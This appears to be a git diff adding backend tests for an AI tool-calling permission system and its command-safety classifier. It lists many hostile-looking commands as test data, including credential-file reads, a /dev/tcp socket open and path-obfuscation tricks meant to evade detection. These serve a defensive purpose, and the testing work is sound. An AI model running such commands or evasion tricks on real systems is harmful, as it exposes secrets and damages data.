def test_per_request_enable_tools_false_blocks_server_tool_alias(self, monkeypatch):
backend = _mock_backend(monkeypatch)
payload = _basic_payload(
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index afac1f52496..8ccee79a4ee 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -1826,6 +1826,39 @@ def test_large_python_tool_call_emits_early_provisional_start(monkeypatch):
assert any(e.get("type") == "tool_end" and e.get("tool_name") == "python" for e in events)
+def test_auto_mode_render_html_suppresses_provisional_card_under_confirm(monkeypatch):
+ """render_html is no longer unconditionally safe (a networked canvas asks), so
+ with confirm_tool_calls set under permission_mode="auto" its early provisional
+ card is suppressed; the real full-argument tool_start still fires and a static
+ canvas runs without a prompt."""
+ args = {"code": "<html>" + "x" * 80 + "</html>"}
+ first_stream = _streamed_structured_tool_call("render_html", args, "call_rh")
+ final_stream = [_sse({"content": "Done."}), _done()]
+ payloads: list[dict] = []
+ backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+ monkeypatch.setattr("core.inference.tools.execute_tool", lambda name, arguments, **_k: "OK")
+
+ events = list(
+ backend.generate_chat_completion_with_tools(
+ messages = [{"role": "user", "content": "make a card"}],
+ tools = [{"type": "function", "function": {"name": "render_html"}}],
+ confirm_tool_calls = True,
+ permission_mode = "auto",
+ max_tool_iterations = 1,
+ )
+ )
+
+ tool_starts = [e for e in events if e.get("type") == "tool_start"]
+ provisional = [e for e in tool_starts if not e.get("arguments")]
+ # The confirm gate now suppresses the early provisional card for render_html.
+ assert provisional == [], tool_starts
+ real = [e for e in tool_starts if e.get("arguments")]
+ assert real and real[0]["tool_name"] == "render_html"
+ # A static canvas is classified safe, so it still runs without an approval gate.
+ assert real[0].get("awaiting_confirmation") in (False, None)
+
+
def test_small_python_tool_call_has_no_provisional_start(monkeypatch):
"""A small tool-call argument finishes streaming instantly, so it keeps the
existing behavior of a single (real) tool_start with no provisional card."""
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index 910818d7d83..5300a485576 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -706,6 +706,160 @@ class TestChatCompletionRequestToolFields:
assert entry["status"] == "completed"
assert monitor.active_count() == 0
+ def test_permission_mode_does_not_reject_client_tool_passthrough(self, monkeypatch):
+ # A non-streaming client-tool passthrough (client tools, no Studio tool
+ # loop) that also carries permission_mode "ask"/"auto" must reach the
+ # provider passthrough, not the confirm-without-stream guard: the
+ # validator leaves confirm_tool_calls unset for passthrough, and a bare
+ # permission_mode only gates Studio's own local tool loop. An explicit
+ # confirm_tool_calls=True still forces the local-confirm rejection.
+ # The pre-switch guard only runs when an automatic load may run, so force
+ # that predicate on to exercise it against a resident passthrough backend.
+ import routes.inference as inference_route
+
+ class _GGUFBackend:
+ is_loaded = True
+ model_identifier = "test-gguf"
+ supports_tools = False
+ supports_tool_passthrough = True
+ is_vision = False
+ _is_audio = False
+ context_length = 4096
+ base_url = "http://llama.permission-passthrough.test"
+ _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+ def generate_chat_completion(self, **_kwargs):
+ raise AssertionError("client tools must use passthrough")
+
+ def generate_chat_completion_with_tools(self, **_kwargs):
+ raise AssertionError("Studio tool loop must stay disabled")
+
+ async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+ inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+ return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+ client_tools = [
+ {
+ "type": "function",
+ "function": {"name": "lookup", "parameters": {"type": "object"}},
+ }
+ ]
+
+ def _setup(policy = None):
+ reset_tool_policy()
+ if policy is not None:
+ set_tool_policy(policy)
+ monkeypatch.setattr(inference_route, "_automatic_model_load_may_run", lambda: True)
+ monkeypatch.setattr(inference_route, "api_monitor", ApiMonitor(max_entries = 3))
+ monkeypatch.setattr(
+ inference_route, "_openai_passthrough_non_streaming", fake_passthrough
+ )
+ return self._v1_client(monkeypatch, _GGUFBackend())
+
+ # A process --enable-tools policy must not turn a client-tool passthrough
+ # into a Studio local loop, so a policy of None or True both keep the
+ # passthrough (the guard mirrors _explicit_studio_tool_loop_requested).
+ for policy in (None, True):
+ for mode in ("ask", "auto"):
+ client = _setup(policy)
+ resp = client.post(
+ "/v1/chat/completions",
+ json = {
+ "messages": [{"role": "user", "content": "use client tool"}],
+ "tools": client_tools,
+ "permission_mode": mode,
+ "stream": False,
+ },
+ )
+ assert resp.status_code == 200, resp.text
+ assert resp.json()["ok"] is True
+
+ # A JSON-schema response_format is guided-decoding passthrough, not a local
+ # tool loop, so a --enable-tools policy must not 400 a non-streaming ask/auto
+ # structured-output request under the confirm guard.
+ for mode in ("ask", "auto"):
+ client = _setup(True)
+ resp = client.post(
+ "/v1/chat/completions",
+ json = {
+ "messages": [{"role": "user", "content": "give me json"}],
+ "response_format": {
+ "type": "json_schema",
+ "json_schema": {"name": "s", "schema": {"type": "object"}},
+ },
+ "permission_mode": mode,
+ "stream": False,
+ },
+ )
+ assert resp.status_code == 200, resp.text
+ assert resp.json()["ok"] is True
+
+ # An explicit confirm_tool_calls=True with client tools and no stream is
+ # still a confirm-without-stream request and must be rejected up front.
+ client = _setup()
+ resp = client.post(
+ "/v1/chat/completions",
+ json = {
+ "messages": [{"role": "user", "content": "use client tool"}],
+ "tools": client_tools,
+ "confirm_tool_calls": True,
+ "stream": False,
+ },
+ )
+ assert resp.status_code == 400
+ assert "requires stream=true" in resp.json()["error"]["message"]
+
+ def test_permission_mode_policy_forced_local_loop_rejected_before_switch(self, monkeypatch):
+ # A process --enable-tools policy forces Studio's own tool loop on even
+ # when the request omits enable_tools and carries no client tools. A
+ # non-streaming ask/auto request is then confirm-gated with no stream to
+ # prompt on, so it must 400 at the pre-switch guard -- before
+ # _maybe_auto_switch_model runs -- rather than evicting the resident model
+ # and 400ing only at the per-backend check.
+ import routes.inference as inference_route
+
+ class _GGUFBackend:
+ is_loaded = True
+ model_identifier = "test-gguf"
+ supports_tools = True
+ supports_tool_passthrough = True
+ is_vision = False
+ _is_audio = False
+ context_length = 4096
+ base_url = "http://llama.policy-forced.test"
+ _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+ switch_calls = []
+
+ async def _no_switch(*_args, **_kwargs):
+ switch_calls.append(1)
+
+ def _setup():
+ reset_tool_policy()
+ set_tool_policy(True)
+ monkeypatch.setattr(inference_route, "_automatic_model_load_may_run", lambda: True)
+ monkeypatch.setattr(inference_route, "api_monitor", ApiMonitor(max_entries = 3))
+ monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _no_switch)
+ return self._v1_client(monkeypatch, _GGUFBackend())
+
+ try:
+ for mode in ("ask", "auto"):
+ switch_calls.clear()
+ client = _setup()
+ resp = client.post(
+ "/v1/chat/completions",
+ json = {
+ "messages": [{"role": "user", "content": "hi"}],
+ "permission_mode": mode,
+ "stream": False,
+ },
+ )
+ assert resp.status_code == 400, resp.text
+ assert "requires stream=true" in resp.json()["error"]["message"]
+ assert switch_calls == [], "guard must reject before the auto-switch"
+ finally:
+ reset_tool_policy()
+
def test_enable_tools_on_non_tool_backend_keeps_client_tools_on_passthrough(self, monkeypatch):
# DiffusionGemma forces supports_tools off while passthrough stays
# available (#6851): enable_tools=True must not steal client tools
diff --git a/studio/backend/tests/test_permission_mode.py b/studio/backend/tests/test_permission_mode.py
new file mode 100644
index 00000000000..3b7197fc498
--- /dev/null
+++ b/studio/backend/tests/test_permission_mode.py
@@ -0,0 +1,1594 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for permission_mode ("Ask for approval" / "Approve for me" /
+"Off" / "Full access") permission levels.
+
+Covers the auto-mode safety classifier in tools.py and the loop-level
+behavior of run_safetensors_tool_loop: in "auto" mode only calls detected
+as potentially unsafe pause for confirmation, in "full" mode nothing
+pauses and the sandbox is dropped, and unset/unknown modes behave as
+"ask" (every call pauses when confirm_tool_calls is on).
+"""
+
+import os
+import uuid
+
+import pytest
+
+from core.inference.mcp_client import MCP_TOOL_PREFIX
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+from core.inference.tools import is_potentially_unsafe_tool_call
+from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
+from state import tool_approvals
+from state.tool_approvals import resolve_tool_decision
+
+_SESSION = "perm-mode-session"
+
+
[email protected](autouse = True)
+def _isolate_permission_mode_globals():
+ """Keep the loop-driving tests hermetic against process-global state that
+ leaks across the full backend suite.
+
+ ``run_safetensors_tool_loop`` reads a process-global approval registry
+ (``state.tool_approvals._pending``) and honors ``os.environ``. Other test
+ modules mutate both (module-level ``os.environ[...] = ...`` runs at import
+ time; abandoned approvals can survive a test). A stale entry keyed by the
+ shared session id, or a leaked env var, can make the loop deny or skip a
+ call that these tests expect to run, which only surfaces in the full-suite
+ ordering on CI (not when the file runs alone). Snapshot and restore both,
+ and hand every ``_drive`` call a unique session, so each test starts clean.
+ """
+ env_snapshot = dict(os.environ)
+ with tool_approvals._lock:
+ pending_snapshot = dict(tool_approvals._pending)
+ tool_approvals._pending.clear()
+ try:
+ yield
+ finally:
+ with tool_approvals._lock:
+ tool_approvals._pending.clear()
+ tool_approvals._pending.update(pending_snapshot)
+ os.environ.clear()
+ os.environ.update(env_snapshot)
+
+
[email protected](autouse = True)
+def _clear_pending():
+ with tool_approvals._lock:
+ tool_approvals._pending.clear()
+ yield
+ with tool_approvals._lock:
+ tool_approvals._pending.clear()
+
+
+# ── classifier ──────────────────────────────────────────────────────
+
+
+ ("command", "unsafe"),
+ [
+ ("ls -la", False),
+ ("cat foo.txt | grep hello", False),
+ ("find . -name '*.py' | head -5", False),
+ ("env FOO=1 grep -r pattern .", False),
+ ("echo hi > out.txt", True), # write redirection
+ ("rm -rf /", True),
+ ("ls; rm x", True), # unsafe after separator
+ ("xargs rm", True), # xargs is not a safe wrapper: it injects stdin args
+ ("xargs sort", True), # forwards to sort with unscanned stdin arguments
+ ("echo -o out x | xargs sort", True), # hidden write via stdin-supplied args
+ ("find . -name '*.py' | xargs grep foo", True), # xargs run stays gated
+ ("ionice -c 3 -p 1234", True), # -p changes a running process's IO priority
+ ("ionice -p 1", True),
+ ("ionice -P 999", True), # -P targets a process group
+ ("ionice -u 1000", True), # -u targets a user's processes
+ ("ionice -c3 -p1234", True), # attached short flags still target a process
+ ("ionice -c 3 ls", False), # a real wrapped command stays safe
+ ("ionice -n 5 grep x .", False), # class-data flag then wrapped read stays safe
+ ("sudo ls", True),
+ ("git push origin main", True),
+ ("pip install requests", True),
+ ("echo `whoami`", True), # substitution fails closed
+ ("python -c 'print(1)'", True), # arbitrary code
+ ("find . -exec rm {} ;", True), # find can execute
+ ("find . -delete", True), # find can delete
+ ("fd -x rm", True), # fd runs a command per result
+ ("fd --exec-batch rm", True),
+ ("fd -e py pattern", False), # plain fd search stays read only
+ ("sort -o out.txt in.txt", True), # -o writes a file
+ ("sort --output=out in", True),
+ ("sort --compress-program=sh big.txt", True), # runs an external program
+ ("sort -T ./scratch large.txt", True), # -T writes temporaries to a chosen dir
+ ("sort --temporary-directory=./s big.txt", True),
+ ("sort in.txt", False), # plain sort stays read only
+ ("rg --pre sh needle f.sh", True), # rg preprocessor runs a command
+ ("rg --pre=/tmp/x needle .", True),
+ ("rg --hostname-bin /tmp/x foo .", True),
+ ("rg --pre-glob '*.txt' needle .", False), # glob filter stays read only
+ ("rg needle .", False), # plain rg stays read only
+ ("/tmp/cat secrets", True), # path-qualified command is an arbitrary binary
+ ("./ls -la", True),
+ ("env /tmp/cat x", True), # path-qualified target after a wrapper
+ ("tree -o out.txt", True), # -o writes a file
+ ("time -o /tmp/r ls", True), # GNU time -o truncates a file
+ ("time --output=/tmp/r ls", True), # GNU time long output flag
+ ("command time -o/tmp/result cat /dev/null", True), # attached, behind command
+ ("time -a log.txt ls", True), # GNU time append flag
+ ("time ls", False), # plain time wrapper stays safe
+ ("time -p ls", False), # POSIX time -p (no file) stays safe
+ ("xxd -r dump.hex out.bin", True), # -r can write
+ ("xxd input.bin dump.hex", True), # 2nd positional is the outfile
+ ("xxd -c 16 in.bin out.hex", True), # outfile past a numeric flag value
+ ("xxd input.bin", False), # single positional reads to stdout
+ ("xxd -c 16 input.bin", False), # flag value is not a second file
+ ("xxd 42 99", True), # digit-named outfile positional still counts
+ ("xxd -s 0x10 input.bin", False), # seek value is not a second file
+ ("awk '{print}' file", True), # awk can system()/write
+ ("grep -o x file", False), # grep -o is stdout only
+ ("ls\nrm -rf x", True), # newline separates commands
+ ("ls\r\nrm x", True), # CRLF separates commands
+ ("ls\n\n\nrm x", True), # blank lines collapse to one separator
+ ("ls\npwd", False), # multi-line stays safe when every line is
+ ("ls\n", False),
+ ("sort -o/tmp/out /tmp/in", True), # attached short output flag
+ ("sort -uo out.txt in.txt", True), # -o bundled in a short cluster
+ ("sort -bo out in", True),
+ ("sort -u in.txt", False), # cluster without a write flag stays safe
+ ("find . \\( -name x -delete \\)", True), # -delete inside a group
+ ("cat ../../.ssh/id_rsa", True), # parent traversal read
+ ("cat ~/.aws/credentials", True), # credential path
+ ("cat /home/a/.azure/msal_token_cache.json", True), # azure token store
+ ("cat ~/.config/gh/hosts.yml", True), # gh cli credentials
+ ("cat ~/.config/app/settings.json", False), # ordinary config stays safe
+ ("cat /home/alice/.cache/huggingface/token", True), # HF login token
+ ("cat ~/.cache/huggingface/stored_tokens", True), # HF multi-token store
+ ("cat /home/alice/.huggingface/token", True), # legacy HF token location
+ ("cat /home/alice/myhuggingface/token", False), # unrelated dir stays safe
+ (
+ "cat /home/alice/.cache/huggingface/hub/models--x/config.json",
+ False,
+ ), # HF model cache is not a credential
+ ("cat /run/secrets/hf_token", True), # docker secret mount
+ ("cat /var/run/secrets/kubernetes.io/serviceaccount/token", True), # k8s mount
+ ("cat /run/app.pid", False), # ordinary /run file stays safe
+ ("cat /etc/passwd", True), # sensitive system file
+ ("cat /proc/self/environ", True), # procfs env dump
+ ("cat /proc/1/cmdline", True),
+ ("head /proc/self/maps", True),
+ ("cat /proc/self/fd/3", True), # procfs fd symlink to an open file
+ ("cat /proc/1234/task/1234/fd/3", True), # per-thread fd symlink
+ ("LD_PRELOAD=/tmp/hook.so ls", True), # code-loading env prefix
+ ("PATH=. ls", True), # command-lookup env prefix
+ ("IFS=x ls", True),
+ ("FOO=1 grep -r x .", False), # benign env prefix stays safe
+ ("ps auxe", True), # ps can dump process env; not on the safe list
+ ("ps aux", True),
+ ("cd /; cat etc/passwd", True), # cd escapes the workdir
+ ("cd subdir; ls", True), # cd is no longer auto-approved
+ ("env --chdir=/ cat etc/passwd", True), # env -C escapes the workdir
+ ("env -S 'sh -c id' true", True), # env --split-string builds a command
+ ("env FOO=1 grep -r x .", False), # benign env wrapper stays safe
+ ("cat /etc//passwd", True), # redundant slashes resolve to /etc/passwd
+ ("cat /etc/./passwd", True),
+ ("p=/etc; cat $p/passwd", True), # path split across an assignment
+ ("d=/etc; cat ${d}/shadow", True),
+ ("FOO=1 echo $FOO", False), # benign variable expansion stays safe
+ ("cat /proc/$PPID/enviro''n", True), # quote-split procfs read
+ ("cat /proc/self/'environ'", True),
+ ('p="/proc/$PPID"; cat $p/environ', True), # quoted+nested var procfs
+ ("LESSOPEN='|touch x; cat %s' less f.txt", True), # less input preprocessor
+ ("less file.txt", True), # less pager escapes (+cmd, !shell, -o) so it asks
+ ("less '+!touch pwned' notes.txt", True), # less +command runs a shell command
+ ("more file.txt", True), # more shares the !shell pager escape
+ ("cat /proc/cpuinfo", False), # non-sensitive procfs read stays safe
+ ("cat /e??/passwd", True), # glob expands to /etc/passwd
+ ("cat /e[t]c/passwd", True), # bracket class hides etc
+ ("head /etc/shado?", True),
+ ("cat /et\\c/passwd", True), # backslash escape hides /etc/passwd
+ ("cat /etc/pass\\wd", True),
+ ("ls *.py", False), # benign glob stays safe
+ ("head data?.txt", False),
+ ("grep -R TOKEN /home", True), # recursive search escapes the workdir
+ ("rg TOKEN /", True),
+ ("fd pattern /etc", True),
+ ("grep -r foo src/", False), # sandbox-relative search stays safe
+ ("rg TOKEN .", False),
+ ("tree /home", True), # always-recursive walker escapes onto host files
+ ("du /", True), # disk-usage walk of the whole host root
+ ("du -sh /home", True), # summarized host-home walk still recurses
+ ("ls -R /home", True), # ls recurses with -R onto host files
+ ("ls -R /etc", True),
+ ("ls -laR /", True), # -R inside a short cluster still recurses
+ ("tree .", False), # cwd walk stays in the sandbox
+ ("tree ./project", False), # relative walk stays safe
+ ("du -sh", False), # du with no path defaults to cwd
+ ("du -sh ./build", False), # relative disk-usage stays safe
+ ("ls -R subdir", False), # relative recursive listing stays safe
+ ("ls -la /home", False), # non-recursive listing of one level stays here
+ ("sort --files0-from=list.txt", True), # reads an indirect file list
+ ("sort --files0-from list.txt", True), # separate-value form
+ ("sort -u data.txt", False), # ordinary sort stays read only
+ ("wc --files0-from=list", True), # wc reads an indirect file list too
+ ("wc --files0-from list", True),
+ ("du --files0-from=list", True), # du indirect file list
+ ("find -files0-from list", True), # find primary reading a file list
+ ("wc file.txt", False), # ordinary wc stays read only
+ ("wc -l data.txt", False), # counting flag stays read only
+ ("cat logs/app.log", False), # ordinary relative read
+ ("cat /r?n/secrets/hf_token", True), # glob into a secret mount
+ ("cat /var/r?n/secrets/db", True),
+ ("cat /root/.s??/id_rsa", True), # glob into a credential dir
+ ("cat ~/.huggingface/tok?n", True), # glob resolves to a credential basename
+ ("cat proj/.netr?", True), # glob resolves to .netrc anywhere
+ ("cat repo/.aws/cred*", True), # glob resolves to credentials anywhere
+ ("cat backup/id_rs?", True), # glob resolves to id_rsa anywhere
+ ("cat .e?v", True), # glob resolves to a project .env secret
+ ("cat proj/.en?", True), # .env anywhere via a glob
+ ("cat notes/dra?t.txt", False), # benign globbed basename stays safe
+ ("cat data/token_counts.tx?", False), # 'token' prefix basename stays safe
+ ("ls /home/*/projects", False), # benign glob not into a cred dir
+ ("grep -R TOKEN ~root", True), # tilde-user recursive root escapes
+ ("grep -R TOKEN ~/logs", True), # tilde-home recursive root escapes
+ ("cat /etc/pass{w,}d", True), # brace expansion builds /etc/passwd
+ ("cat report{1,2}.txt", False), # benign brace stays safe
+ ("cat /e{t,}c/pass?d", True), # brace-expanded candidate then a glob resolves it
+ ("cat /et{c,}/pass?d", True), # brace + glob in the tail
+ ("cat repo/d{1,2}/f?.txt", False), # benign brace + glob stays safe
+ ("cat /etc/pass${x:-wd}", True), # default param expansion builds path
+ ("cat /etc/pass${x:=wd}", True),
+ ("echo ${x:-hello}", False), # benign default param stays safe
+ ("cat </e??/passwd", True), # redirection prefix hides the glob
+ ("cat <../../notes", True), # redirection with no space escapes workdir
+ ("cat notes.txt", False), # ordinary read stays safe
+ ("p=/; grep -R TOKEN $p", True), # recursive root hidden in an assignment
+ ("p=/home; grep -R TOKEN $p", True),
+ ("p=src; grep -R TOKEN $p", False), # relative assigned root stays safe
+ ("cat /etc/pass{w..w}d", True), # sequence brace builds /etc/passwd
+ ("cat /etc/pass{v..x}d", True), # sequence brace range spans passwd
+ ("cat file{1..3}.txt", False), # benign sequence brace stays safe
+ ("p=passwd; cat /etc/${p:0:6}", True), # substring expansion builds path
+ ("p=hello; cat notes/${p:0:3}", False), # benign substring stays safe
+ ("cat $'/etc/pass\\x77d'", True), # ANSI-C escape hides /etc/passwd
+ ("cat $'notes.txt'", False), # benign ANSI-C quote stays safe
+ ("cat /home/*/.az?re/msal_token_cache.json", True), # azure token glob
+ ("cat /home/*/.config/g?/hosts.yml", True), # gh config glob
+ ("cat /home/*/projects/readme", False), # benign home glob stays safe
+ ("cat /proc/$PPID/task/$PPID/environ", True), # per-thread proc env alias
+ ("cat /proc/cpuinfo", False), # non-sensitive proc read stays safe
+ ("grep -R TOKEN ${root:-/home}", True), # default-param recursive root
+ ("grep -R TOKEN ${root:-src}", False), # relative default root stays safe
+ ("p=passXd; cat /etc/${p/X/w}", True), # pattern replacement builds path
+ ("p=passXd; cat /etc/${p//X/w}", True), # global pattern replacement
+ ("p=hello; cat notes/${p/l/L}", False), # benign replacement stays safe
+ ("p=PASSWD; cat /etc/${p,,}", True), # case-lower expansion builds path
+ ("p=hello; cat notes/${p,,}", False), # benign case expansion stays safe
+ ("f=-delete; find . $f", True), # find action hidden behind an assignment
+ ("g=e??; cat /$g/passwd", True), # glob assembled through an assignment
+ ("g=abc; cat /$g/readme", False), # benign assigned path stays safe
+ ("cat /etc/pass[[:lower:]]d", True), # POSIX class glob builds /etc/passwd
+ ("x=passwd; p=x; cat /etc/${!p}", True), # indirect expansion builds path
+ ("x=notes; p=x; cat /home/${!p}", False), # benign indirect expansion stays safe
+ ("cat </dev/tcp/example.com/80", True), # bash /dev/tcp opens a socket
+ ("cat < /dev/udp/1.2.3.4/53", True), # bash /dev/udp opens a socket
+ ("cat /dev/null", False), # ordinary /dev file stays safe
+ ("cat /etc/ssh/ssh_host_ed25519_key", True), # ssh host private key read
+ ("cat /etc/ssh/sshd_config", True), # whole /etc/ssh dir is sensitive
+ ("cat /etc/hostname", False), # non-key /etc read stays safe
+ ("sort --out=/tmp/o in", True), # abbreviated --output writes a file
+ ("env --ch=/ cat etc/passwd", True), # abbreviated --chdir escapes workdir
+ ("sort --check in", False), # benign abbreviation-free long flag stays safe
+ ("printf -v PATH %s .; ls", True), # printf -v rewrites PATH then runs ./ls
+ ("printf 'hello %s' world", False), # ordinary printf stays safe
+ ("fd --base-directory=/ passwd etc", True), # fd root move escapes workdir
+ ("fd --search-path=/etc passwd", True), # fd search-path escapes workdir
+ ("fd --base-dir=/ passwd etc", True), # abbreviated fd root flag too
+ ("fd passwd", False), # in-workdir fd search stays safe
+ ("uniq input.txt output.txt", True), # second positional is a written OUTPUT
+ ("uniq -f 2 in out", True), # numeric flag value skipped, two file positionals
+ ("uniq input.txt", False), # single positional reads to stdout, stays safe
+ ("uniq 123 out.txt", True), # digit-named INPUT still leaves out.txt as the 2nd file
+ ("uniq 123", False), # a single digit-named input reads to stdout, stays safe
+ ("uniq --skip-fields=2 input.txt", False), # attached flag value, single file
+ ("sort a.txt | uniq -c", False), # piped uniq with no output file stays safe
+ ("hostname new-name", True), # a positional sets the hostname
+ ("hostname -F /etc/hn", True), # -F/--file sets the hostname from a file
+ ("hostname", False), # bare hostname reads
+ ("hostname -f", False), # -f prints the FQDN, stays read-only
+ ("hostname -I", False), # -I prints IPs, stays read-only
+ ("date -s tomorrow", True), # -s sets the system clock
+ ("date --set='2020-01-01'", True), # --set sets the clock
+ ("date 010100002020", True), # a bare positional is the clock-setting form
+ ("date", False), # bare date reads
+ ("date +%Y-%m-%d", False), # a +FORMAT display token stays read-only
+ ("date -u +%s", False), # -u display flag with a +FORMAT stays safe
+ ("date -d tomorrow", False), # -d STRING only displays the given date
+ ("date -d yesterday +%Y", False), # -d value skipped, +FORMAT display stays safe
+ ("date -r file.txt", False), # -r FILE displays a file's mtime, read-only
+ ("file -C -m mymagic", True), # file -C compiles a magic database (writes .mgc)
+ ("file --compile -m mymagic", True), # long form of the compile flag
+ ("file report.txt", False), # plain file identification stays read-only
+ ("sha256sum -c manifest", True), # -c reads an arbitrary checklist of paths
+ ("md5sum --check list", True), # --check reads the listed files
+ ("shasum -c manifest", True), # shasum verify mode reads the checklist
+ ("sha256sum data.bin", False), # hashing a named file stays read-only
+ ("md5sum file.txt", False), # plain digest of a file stays read-only
+ ],
+)
+def test_terminal_classifier(command, unsafe):
+ assert is_potentially_unsafe_tool_call("terminal", {"command": command}) is unsafe
+
+
+ ("code", "unsafe"),
+ [
+ ("print(1+1)", False),
+ ("import math\nprint(math.pi)", False),
+ ("print(open('x.txt').read())", False), # read-mode open
+ ("open('x.txt', 'w').write('hi')", True),
+ ("import shutil; shutil.rmtree('x')", True),
+ ("import os; os.remove('x')", True),
+ ("import requests", True), # network module
+ ("exec('print(1)')", True),
+ ("from os import remove\nremove('x')", True), # from-import binding
+ ("from os import remove as rm\nrm('x')", True),
+ ("from os import *", True), # star import hides anything
+ ("import os\nprint(os.getcwd())", False), # read-only os use
+ ("f = os.remove\nf('x')", True), # indirect reference
+ ("import os\nrm = os.remove\nrm('x')", True), # alias assignment
+ ("from pathlib import Path\nPath('x').open('w')", True), # Path.open mode
+ ("from pathlib import Path\nprint(Path('x').open().read())", False),
+ ("import zipfile\nprint(zipfile.ZipFile('a').open('n.txt'))", False),
+ ("print(open('../../.ssh/id_rsa').read())", True), # traversal read
+ ("print(open('creds.env').read())", True), # credential file
+ ("import os\nos.open('data.txt', os.O_CREAT)", True), # os.open writes fd
+ ("import tempfile\ntempfile.mkstemp()", True), # tempfile side effects
+ ("getattr(os, 'remove')('x')", True), # dynamic call target
+ ("import os as o\no.open('out.txt', o.O_CREAT)", True), # os.open via alias
+ ("from os import open as o, O_CREAT\no('out', O_CREAT)", True), # os.open bare name
+ ("from pathlib import Path\nPath('l').symlink_to('t')", True), # pathlib link
+ ("import importlib\nimportlib.import_module('subprocess')", True), # dynamic import
+ ("import os\nos.mkfifo('p')", True), # node creation
+ ("import os\nos.utime('x', None)", True), # metadata mutation
+ ("f = open\nf('x', 'w')", True), # builtin open aliased to a name
+ ("from builtins import open as w\nw('x', 'w')", True),
+ ("globals()['open']('x', 'w')", True), # dynamic open lookup
+ ("import pickle\npickle.loads(b'')", True), # code exec on load
+ ("import io\nio.FileIO('out', 'w')", True), # raw write handle
+ (
+ "import zipfile\nprint(zipfile.ZipFile('a').open('n.txt', 'r'))",
+ False,
+ ), # explicit read mode
+ ("f, _ = (open, print)\nf('out', 'w')", True), # destructured open alias
+ ("import builtins\nbuiltins.exec('x=1')", True), # attribute exec
+ ("import builtins as b\nb.eval('1')", True),
+ ("import re\nre.compile('x')", False), # re.compile is not eval/exec
+ ("import os\nopen(os.path.join('/etc', 'passwd')).read()", True), # composed path
+ ("open('/etc' + '/passwd').read()", True), # concatenated path
+ ("import zipfile\nzipfile.ZipFile('o.zip', 'w').writestr('x', 'y')", True), # zip write
+ ("import zipfile\nzipfile.ZipFile('o.zip', mode='a')", True),
+ ("import zipfile\nzipfile.ZipFile('a.zip').read('n')", False), # zip read stays safe
+ ("import os\nopen(f'/proc/{os.getppid()}/environ').read()", True), # f-string procfs
+ ("import os\nos.chdir('/')\nprint(open('etc/passwd').read())", True), # chdir escape
+ (
+ "from pathlib import Path\nprint((Path('/etc') / 'passwd').read_text())",
+ True,
+ ), # pathlib /
+ (
+ "from pathlib import Path\nprint((Path('a') / 'b.txt').read_text())",
+ False,
+ ), # relative stays safe
+ ("import runpy\nrunpy.run_path('s.py')", True), # runpy runs code
+ ("from runpy import run_module\nrun_module('m')", True),
+ ("import os\nrm = getattr(os, 'remove')\nrm('f')", True), # getattr alias call
+ ("x = getattr(obj, 'name')\nprint(x)", False), # getattr result not called
+ ("__builtins__.exec('x=1')", True), # __builtins__ dynamic exec
+ ("f = globals()['open']\nf('out', 'w')", True), # subscript alias write
+ (
+ "f = __builtins__.__dict__.get('open')\nf('out', 'w').write('x')",
+ True,
+ ), # namespace .get lookup returns open
+ ("g = globals().get('open')\ng('out', 'w')", True), # globals().get alias
+ ("e = vars(__builtins__).get('eval')\ne('1')", True), # vars().get returns eval
+ ("d = {}\nd.get('x')", False), # ordinary dict .get stays safe
+ (
+ "import os\nos.environ.get('PATH')",
+ False,
+ ), # os.environ.get is not a dynamic namespace
+ (
+ "box.f = open\nbox.f('out.txt', 'w').write('x')",
+ True,
+ ), # open bound onto an attribute then called
+ ("box.f = len\nbox.f([])", False), # a benign attribute-bound callable stays safe
+ (
+ "open.__call__('out.txt', 'w').write('x')",
+ True,
+ ), # open invoked via .__call__ still writes
+ ("print.__call__('x')", False), # a benign .__call__ stays safe
+ ("import builtins\nf = builtins.open\nf('out', 'w')", True), # attribute alias write
+ ("open('out', **{'mode': 'w'}).write('x')", True), # kwargs splat mode
+ ("name = 'passwd'\nopen(f'/etc/{name}').read()", True), # dynamic /etc segment
+ ("import os\nopen(os.path.join('/etc', name)).read()", True), # composed dynamic seg
+ ("open(f'/tmp/{name}.txt').read()", False), # dynamic seg under /tmp stays safe
+ ("import pathlib\n(pathlib.Path('/etc') / name).read_text()", True), # qualified pathlib
+ ("import pathlib\n(pathlib.Path('data') / name).read_text()", False), # relative stays safe
+ ("f: object = open\nf('out', 'w').write('x')", True), # annotated open alias
+ ("import urllib3\nurllib3.PoolManager().request('GET', 'http://x')", True), # network
+ ("import dbm\ndbm.open('cache', 'c')", True), # dbm create flag writes
+ ("import dbm\ndbm.open('cache')", True), # dbm import itself signals writes
+ (
+ "import sqlite3\nsqlite3.connect('results.db').execute('create table t(x)')",
+ True,
+ ), # sqlite3 db write
+ ("import sqlite3\nsqlite3.connect('data.db')", True), # sqlite3 connect creates the file
+ ("import posix as p\np.open('out', 64)", True), # posix.open via module alias
+ ("import os as o\nprint(o.getcwd())", False), # read-only os-alias use stays safe
+ ("model.save_pretrained('out')", True), # transformers/peft persistence helper
+ (
+ "from safetensors.torch import save_file\nsave_file(sd, 'o.safetensors')",
+ True,
+ ), # bare imported save_file writer
+ ("st.save_file(sd, 'o.safetensors')", True), # safetensors save_file method
+ ("print(model.state_dict())", False), # non-persisting call stays safe
+ (
+ "from pathlib import Path\nopen(next(Path('/etc').glob('passw?'))).read()",
+ True,
+ ), # pathlib glob receiver+pattern resolves to /etc/passwd
+ (
+ "from pathlib import Path\nfor p in Path('/etc').iterdir():\n pass",
+ True,
+ ), # enumerating an absolute system dir
